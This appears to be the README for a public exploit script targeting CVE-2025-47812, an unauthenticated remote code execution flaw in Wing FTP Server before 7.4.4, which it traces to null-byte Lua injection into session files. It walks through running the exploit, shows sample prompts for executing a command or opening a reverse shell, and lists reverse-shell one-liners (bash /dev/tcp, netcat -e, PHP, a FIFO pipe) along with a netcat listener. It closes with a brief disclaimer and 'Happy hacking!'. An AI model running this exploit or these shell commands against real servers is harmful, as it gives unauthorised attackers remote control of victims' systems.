===========================================================
CVE-2025-47812 - Wing FTP Server Remote Code Execution (RCE)
===========================================================
Author: blindma1den
Date: July 2025
Exploit Type: Remote Code Execution (Unauthenticated)
Target: Wing FTP Server < 7.4.4
CVSS Score: 10.0 (Critical)
This script exploits CVE-2025-47812, a critical vulnerability in Wing FTP Server's web interface that allows remote attackers to execute arbitrary system commands or open a reverse shell without authentication.
The flaw is caused by improper handling of null bytes (%00)
in the login form (/loginok.html). This allows Lua code
injection into session files, which are later evaluated
when endpoints like /dir.html are accessed.
NVD Description: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
whoami, uname -a)Install dependencies:
pip install requests
Run the script:
python3 wingftp_rce_exploit.py
You will be prompted for:
[1] RUN COMMAND:
Target URL: http://192.168.1.10:5466
Username: anonymous
Your choice (1 or 2): 1
Command to execute (default: whoami): whoami
[2] REVERSE SHELL:
Target URL: http://192.168.1.10:5466
Username: anonymous
Your choice (1 or 2): 2
Reverse shell IP address: 192.168.1.100
Reverse shell port: 4444
Start your listener before triggering the shell:
nc -lvnp 4444
Bash: bash -i >& /dev/tcp/IP/PORT 0>&1
Python3: python3 -c 'import socket,subprocess,os; ...'
Netcat: nc IP PORT -e /bin/sh
PHP: php -r '$sock=fsockopen("IP",PORT); ...'
FIFO + Netcat: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i ...
This code is for educational purposes only. Do NOT use this exploit against systems you do not own or have explicit authorization to test. Unauthorized use is illegal and unethical.
Patch your systems immediately. Wing FTP Server 7.4.4 resolves this vulnerability.
Happy hacking!